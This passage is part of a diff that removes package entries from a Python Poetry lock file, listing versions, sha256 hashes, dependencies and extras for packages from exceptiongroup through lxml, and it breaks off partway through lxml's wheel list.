-[[package]] -name = "exceptiongroup" -version = "1.3.1" -description = "Backport of PEP 654 (exception groups)" -optional = false -python-versions = ">=3.7" -groups = ["main", "dev"] -markers = "python_version < \"3.11\"" -files = [ - {file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"}, - {file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"}, -] - -[package.dependencies] -typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} - -[package.extras] -test = ["pytest (>=6)"] - -[[package]] -name = "fastapi" -version = "0.128.8" -description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "fastapi-0.128.8-py3-none-any.whl", hash = "sha256:5618f492d0fe973a778f8fec97723f598aa9deee495040a8d51aaf3cf123ecf1"}, - {file = "fastapi-0.128.8.tar.gz", hash = "sha256:3171f9f328c4a218f0a8d2ba8310ac3a55d1ee12c28c949650288aee25966007"}, -] - -[package.dependencies] -annotated-doc = ">=0.0.2" -pydantic = ">=2.7.0" -starlette = ">=0.40.0,<1.0.0" -typing-extensions = ">=4.8.0" -typing-inspection = ">=0.4.2" - -[package.extras] -all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.9.3)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=5.8.0)", "uvicorn[standard] (>=0.12.0)"] -standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] -standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] - -[[package]] -name = "filelock" -version = "3.19.1" -description = "A platform independent file lock." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "filelock-3.19.1-py3-none-any.whl", hash = "sha256:d38e30481def20772f5baf097c122c3babc4fcdb7e14e57049eb9d88c6dc017d"}, - {file = "filelock-3.19.1.tar.gz", hash = "sha256:66eda1888b0171c998b35be2bcc0f6d75c388a7ce20c3f3f37aa8e96c2dddf58"}, -] - -[[package]] -name = "filelock" -version = "3.20.3" -description = "A platform independent file lock." -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "filelock-3.20.3-py3-none-any.whl", hash = "sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1"}, - {file = "filelock-3.20.3.tar.gz", hash = "sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1"}, -] - -[[package]] -name = "ghp-import" -version = "2.1.0" -description = "Copy your docs directly to the gh-pages branch." -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343"}, - {file = "ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619"}, -] - -[package.dependencies] -python-dateutil = ">=2.8.1" - -[package.extras] -dev = ["flake8", "markdown", "twine", "wheel"] - -[[package]] -name = "griffe" -version = "1.14.0" -description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API." -optional = false -python-versions = ">=3.9" -groups = ["dev", "docs"] -markers = "python_version == \"3.9\"" -files = [ - {file = "griffe-1.14.0-py3-none-any.whl", hash = "sha256:0e9d52832cccf0f7188cfe585ba962d2674b241c01916d780925df34873bceb0"}, - {file = "griffe-1.14.0.tar.gz", hash = "sha256:9d2a15c1eca966d68e00517de5d69dd1bc5c9f2335ef6c1775362ba5b8651a13"}, -] - -[package.dependencies] -colorama = ">=0.4" - -[[package]] -name = "griffe" -version = "1.15.0" -description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API." -optional = false -python-versions = ">=3.10" -groups = ["dev", "docs"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3"}, - {file = "griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea"}, -] - -[package.dependencies] -colorama = ">=0.4" - -[package.extras] -pypi = ["pip (>=24.0)", "platformdirs (>=4.2)", "wheel (>=0.42)"] - -[[package]] -name = "h11" -version = "0.16.0" -description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, - {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, -] - -[[package]] -name = "httpcore" -version = "1.0.9" -description = "A minimal low-level HTTP client." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, - {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, -] - -[package.dependencies] -certifi = "*" -h11 = ">=0.16" - -[package.extras] -asyncio = ["anyio (>=4.0,<5.0)"] -http2 = ["h2 (>=3,<5)"] -socks = ["socksio (==1.*)"] -trio = ["trio (>=0.22.0,<1.0)"] - -[[package]] -name = "httpx" -version = "0.28.1" -description = "The next generation HTTP client." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, - {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, -] - -[package.dependencies] -anyio = "*" -certifi = "*" -httpcore = "==1.*" -idna = "*" - -[package.extras] -brotli = ["brotli ; platform_python_implementation == \"CPython\"", "brotlicffi ; platform_python_implementation != \"CPython\""] -cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] -http2 = ["h2 (>=3,<5)"] -socks = ["socksio (==1.*)"] -zstd = ["zstandard (>=0.18.0)"] - -[[package]] -name = "identify" -version = "2.6.15" -description = "File identification library for Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "identify-2.6.15-py2.py3-none-any.whl", hash = "sha256:1181ef7608e00704db228516541eb83a88a9f94433a8c80bb9b5bd54b1d81757"}, - {file = "identify-2.6.15.tar.gz", hash = "sha256:e4f4864b96c6557ef2a1e1c951771838f4edc9df3a72ec7118b338801b11c7bf"}, -] - -[package.extras] -license = ["ukkonen"] - -[[package]] -name = "identify" -version = "2.6.16" -description = "File identification library for Python" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "identify-2.6.16-py2.py3-none-any.whl", hash = "sha256:391ee4d77741d994189522896270b787aed8670389bfd60f326d677d64a6dfb0"}, - {file = "identify-2.6.16.tar.gz", hash = "sha256:846857203b5511bbe94d5a352a48ef2359532bc8f6727b5544077a0dcfb24980"}, -] - -[package.extras] -license = ["ukkonen"] - -[[package]] -name = "idna" -version = "3.11" -description = "Internationalized Domain Names in Applications (IDNA)" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea"}, - {file = "idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902"}, -] - -[package.extras] -all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] - -[[package]] -name = "importlib-metadata" -version = "6.2.1" -description = "Read metadata from Python packages" -optional = false -python-versions = ">=3.7" -groups = ["main", "dev", "docs"] -markers = "python_version == \"3.9\"" -files = [ - {file = "importlib_metadata-6.2.1-py3-none-any.whl", hash = "sha256:f65e478a7c2177bd19517a3a15dac094d253446d8690c5f3e71e735a04312374"}, - {file = "importlib_metadata-6.2.1.tar.gz", hash = "sha256:5a66966b39ff1c14ef5b2d60c1d842b0141fefff0f4cc6365b4bc9446c652807"}, -] - -[package.dependencies] -zipp = ">=0.5" - -[package.extras] -docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -perf = ["ipython"] -testing = ["flake8 (<5)", "flufl.flake8", "importlib-resources (>=1.3) ; python_version < \"3.9\"", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7) ; platform_python_implementation != \"PyPy\"", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8 ; python_version < \"3.12\"", "pytest-mypy (>=0.9.1) ; platform_python_implementation != \"PyPy\"", "pytest-perf (>=0.9.2)"] - -[[package]] -name = "importlib-metadata" -version = "8.7.1" -description = "Read metadata from Python packages" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151"}, - {file = "importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb"}, -] - -[package.dependencies] -zipp = ">=3.20" - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -enabler = ["pytest-enabler (>=3.4)"] -perf = ["ipython"] -test = ["flufl.flake8", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"] -type = ["mypy (<1.19) ; platform_python_implementation == \"PyPy\"", "pytest-mypy (>=1.0.1)"] - -[[package]] -name = "importlib-resources" -version = "5.0.7" -description = "Read resources from Python packages" -optional = false -python-versions = ">=3.6" -groups = ["main", "docs"] -markers = "python_version == \"3.9\"" -files = [ - {file = "importlib_resources-5.0.7-py3-none-any.whl", hash = "sha256:2238159eb743bd85304a16e0536048b3e991c531d1cd51c4a834d1ccf2829057"}, - {file = "importlib_resources-5.0.7.tar.gz", hash = "sha256:4df460394562b4581bb4e4087ad9447bd433148fba44241754ec3152499f1d1b"}, -] - -[package.extras] -docs = ["jaraco.packaging (>=8.2)", "rst.linker (>=1.9)", "sphinx"] -testing = ["pytest (>=3.5,!=3.7.3)", "pytest-black (>=0.3.7) ; platform_python_implementation != \"PyPy\"", "pytest-checkdocs (>=1.2.3)", "pytest-cov", "pytest-enabler", "pytest-flake8", "pytest-mypy ; platform_python_implementation != \"PyPy\""] - -[[package]] -name = "importlib-resources" -version = "6.5.2" -description = "Read resources from Python packages" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "importlib_resources-6.5.2-py3-none-any.whl", hash = "sha256:789cfdc3ed28c78b67a06acb8126751ced69a3d5f79c095a98298cd8a760ccec"}, - {file = "importlib_resources-6.5.2.tar.gz", hash = "sha256:185f87adef5bcc288449d98fb4fba07cea78bc036455dd44c5fc4a2fe78fed2c"}, -] - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -enabler = ["pytest-enabler (>=2.2)"] -test = ["jaraco.test (>=5.4)", "pytest (>=6,!=8.1.*)", "zipp (>=3.17)"] -type = ["pytest-mypy"] - -[[package]] -name = "iniconfig" -version = "2.1.0" -description = "brain-dead simple config-ini parsing" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760"}, - {file = "iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7"}, -] - -[[package]] -name = "iniconfig" -version = "2.3.0" -description = "brain-dead simple config-ini parsing" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"}, - {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"}, -] - -[[package]] -name = "jinja2" -version = "3.1.6" -description = "A very fast and expressive template engine." -optional = false -python-versions = ">=3.7" -groups = ["main", "dev", "docs"] -files = [ - {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, - {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, -] - -[package.dependencies] -MarkupSafe = ">=2.0" - -[package.extras] -i18n = ["Babel (>=2.7)"] - -[[package]] -name = "libsass" -version = "0.23.0" -description = "Sass for Python: A straightforward binding of libsass for Python." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "libsass-0.23.0-cp38-abi3-macosx_11_0_x86_64.whl", hash = "sha256:34cae047cbbfc4ffa832a61cbb110f3c95f5471c6170c842d3fed161e40814dc"}, - {file = "libsass-0.23.0-cp38-abi3-macosx_14_0_arm64.whl", hash = "sha256:ea97d1b45cdc2fc3590cb9d7b60f1d8915d3ce17a98c1f2d4dd47ee0d9c68ce6"}, - {file = "libsass-0.23.0-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:4a218406d605f325d234e4678bd57126a66a88841cb95bee2caeafdc6f138306"}, - {file = "libsass-0.23.0-cp38-abi3-win32.whl", hash = "sha256:31e86d92a5c7a551df844b72d83fc2b5e50abc6fbbb31e296f7bebd6489ed1b4"}, - {file = "libsass-0.23.0-cp38-abi3-win_amd64.whl", hash = "sha256:a2ec85d819f353cbe807432d7275d653710d12b08ec7ef61c124a580a8352f3c"}, - {file = "libsass-0.23.0.tar.gz", hash = "sha256:6f209955ede26684e76912caf329f4ccb57e4a043fd77fe0e7348dd9574f1880"}, -] - -[[package]] -name = "livereload" -version = "2.7.1" -description = "Python LiveReload is an awesome tool for web developers" -optional = false -python-versions = ">=3.7" -groups = ["docs"] -files = [ - {file = "livereload-2.7.1-py3-none-any.whl", hash = "sha256:5201740078c1b9433f4b2ba22cd2729a39b9d0ec0a2cc6b4d3df257df5ad0564"}, - {file = "livereload-2.7.1.tar.gz", hash = "sha256:3d9bf7c05673df06e32bea23b494b8d36ca6d10f7d5c3c8a6989608c09c986a9"}, -] - -[package.dependencies] -tornado = "*" - -[[package]] -name = "lockfile" -version = "0.12.2" -description = "Platform-independent file locking module" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa"}, - {file = "lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799"}, -] - -[[package]] -name = "lxml" -version = "6.0.2" -description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "lxml-6.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e77dd455b9a16bbd2a5036a63ddbd479c19572af81b624e79ef422f929eef388"}, - {file = "lxml-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5d444858b9f07cefff6455b983aea9a67f7462ba1f6cbe4a21e8bf6791bf2153"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f952dacaa552f3bb8834908dddd500ba7d508e6ea6eb8c52eb2d28f48ca06a31"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:71695772df6acea9f3c0e59e44ba8ac50c4f125217e84aab21074a1a55e7e5c9"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17f68764f35fd78d7c4cc4ef209a184c38b65440378013d24b8aecd327c3e0c8"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:058027e261afed589eddcfe530fcc6f3402d7fd7e89bfd0532df82ebc1563dba"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8ffaeec5dfea5881d4c9d8913a32d10cfe3923495386106e4a24d45300ef79c"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:f2e3b1a6bb38de0bc713edd4d612969dd250ca8b724be8d460001a387507021c"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d6690ec5ec1cce0385cb20896b16be35247ac8c2046e493d03232f1c2414d321"}, - {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a50c3c1d11cad0ebebbac357a97b26aa79d2bcaf46f256551152aa85d3a4d1"}, - {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3efe1b21c7801ffa29a1112fab3b0f643628c30472d507f39544fd48e9549e34"}, - {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:59c45e125140b2c4b33920d21d83681940ca29f0b83f8629ea1a2196dc8cfe6a"}, - {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:452b899faa64f1805943ec1c0c9ebeaece01a1af83e130b69cdefeda180bb42c"}, - {file = "lxml-6.0.2-cp310-cp310-win32.whl", hash = "sha256:1e786a464c191ca43b133906c6903a7e4d56bef376b75d97ccbb8ec5cf1f0a4b"}, - {file = "lxml-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:dacf3c64ef3f7440e3167aa4b49aa9e0fb99e0aa4f9ff03795640bf94531bcb0"}, - {file = "lxml-6.0.2-cp310-cp310-win_arm64.whl", hash = "sha256:45f93e6f75123f88d7f0cfd90f2d05f441b808562bf0bc01070a00f53f5028b5"}, - {file = "lxml-6.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:13e35cbc684aadf05d8711a5d1b5857c92e5e580efa9a0d2be197199c8def607"}, - {file = "lxml-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b1675e096e17c6fe9c0e8c81434f5736c0739ff9ac6123c87c2d452f48fc938"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8ac6e5811ae2870953390452e3476694196f98d447573234592d30488147404d"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5aa0fc67ae19d7a64c3fe725dc9a1bb11f80e01f78289d05c6f62545affec438"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de496365750cc472b4e7902a485d3f152ecf57bd3ba03ddd5578ed8ceb4c5964"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:200069a593c5e40b8f6fc0d84d86d970ba43138c3e68619ffa234bc9bb806a4d"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d2de809c2ee3b888b59f995625385f74629707c9355e0ff856445cdcae682b7"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:b2c3da8d93cf5db60e8858c17684c47d01fee6405e554fb55018dd85fc23b178"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:442de7530296ef5e188373a1ea5789a46ce90c4847e597856570439621d9c553"}, - {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2593c77efde7bfea7f6389f1ab249b15ed4aa5bc5cb5131faa3b843c429fbedb"}, - {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3e3cb08855967a20f553ff32d147e14329b3ae70ced6edc2f282b94afbc74b2a"}, - {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:2ed6c667fcbb8c19c6791bbf40b7268ef8ddf5a96940ba9404b9f9a304832f6c"}, - {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b8f18914faec94132e5b91e69d76a5c1d7b0c73e2489ea8929c4aaa10b76bbf7"}, - {file = "lxml-6.0.2-cp311-cp311-win32.whl", hash = "sha256:6605c604e6daa9e0d7f0a2137bdc47a2e93b59c60a65466353e37f8272f47c46"}, - {file = "lxml-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e5867f2651016a3afd8dd2c8238baa66f1e2802f44bc17e236f547ace6647078"}, - {file = "lxml-6.0.2-cp311-cp311-win_arm64.whl", hash = "sha256:4197fb2534ee05fd3e7afaab5d8bfd6c2e186f65ea7f9cd6a82809c887bd1285"}, - {file = "lxml-6.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a59f5448ba2ceccd06995c95ea59a7674a10de0810f2ce90c9006f3cbc044456"}, - {file = "lxml-6.0.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e8113639f3296706fbac34a30813929e29247718e88173ad849f57ca59754924"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a8bef9b9825fa8bc816a6e641bb67219489229ebc648be422af695f6e7a4fa7f"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:65ea18d710fd14e0186c2f973dc60bb52039a275f82d3c44a0e42b43440ea534"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c371aa98126a0d4c739ca93ceffa0fd7a5d732e3ac66a46e74339acd4d334564"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:700efd30c0fa1a3581d80a748157397559396090a51d306ea59a70020223d16f"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c33e66d44fe60e72397b487ee92e01da0d09ba2d66df8eae42d77b6d06e5eba0"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90a345bbeaf9d0587a3aaffb7006aa39ccb6ff0e96a57286c0cb2fd1520ea192"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:064fdadaf7a21af3ed1dcaa106b854077fbeada827c18f72aec9346847cd65d0"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbc74f42c3525ac4ffa4b89cbdd00057b6196bcefe8bce794abd42d33a018092"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6ddff43f702905a4e32bc24f3f2e2edfe0f8fde3277d481bffb709a4cced7a1f"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6da5185951d72e6f5352166e3da7b0dc27aa70bd1090b0eb3f7f7212b53f1bb8"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:57a86e1ebb4020a38d295c04fc79603c7899e0df71588043eb218722dabc087f"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2047d8234fe735ab77802ce5f2297e410ff40f5238aec569ad7c8e163d7b19a6"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6f91fd2b2ea15a6800c8e24418c0775a1694eefc011392da73bc6cef2623b322"}, - {file = "lxml-6.0.2-cp312-cp312-win32.whl", hash = "sha256:3ae2ce7d6fedfb3414a2b6c5e20b249c4c607f72cb8d2bb7cc9c6ec7c6f4e849"}, - {file = "lxml-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:72c87e5ee4e58a8354fb9c7c84cbf95a1c8236c127a5d1b7683f04bed8361e1f"}, - {file = "lxml-6.0.2-cp312-cp312-win_arm64.whl", hash = "sha256:61cb10eeb95570153e0c0e554f58df92ecf5109f75eacad4a95baa709e26c3d6"}, - {file = "lxml-6.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:9b33d21594afab46f37ae58dfadd06636f154923c4e8a4d754b0127554eb2e77"}, - {file = "lxml-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c8963287d7a4c5c9a432ff487c52e9c5618667179c18a204bdedb27310f022f"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1941354d92699fb5ffe6ed7b32f9649e43c2feb4b97205f75866f7d21aa91452"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bb2f6ca0ae2d983ded09357b84af659c954722bbf04dea98030064996d156048"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb2a12d704f180a902d7fa778c6d71f36ceb7b0d317f34cdc76a5d05aa1dd1df"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:6ec0e3f745021bfed19c456647f0298d60a24c9ff86d9d051f52b509663feeb1"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:846ae9a12d54e368933b9759052d6206a9e8b250291109c48e350c1f1f49d916"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ef9266d2aa545d7374938fb5c484531ef5a2ec7f2d573e62f8ce722c735685fd"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:4077b7c79f31755df33b795dc12119cb557a0106bfdab0d2c2d97bd3cf3dffa6"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a7c5d5e5f1081955358533be077166ee97ed2571d6a66bdba6ec2f609a715d1a"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8f8d0cbd0674ee89863a523e6994ac25fd5be9c8486acfc3e5ccea679bad2679"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:2cbcbf6d6e924c28f04a43f3b6f6e272312a090f269eff68a2982e13e5d57659"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:dfb874cfa53340009af6bdd7e54ebc0d21012a60a4e65d927c2e477112e63484"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:fb8dae0b6b8b7f9e96c26fdd8121522ce5de9bb5538010870bd538683d30e9a2"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:358d9adae670b63e95bc59747c72f4dc97c9ec58881d4627fe0120da0f90d314"}, - {file = 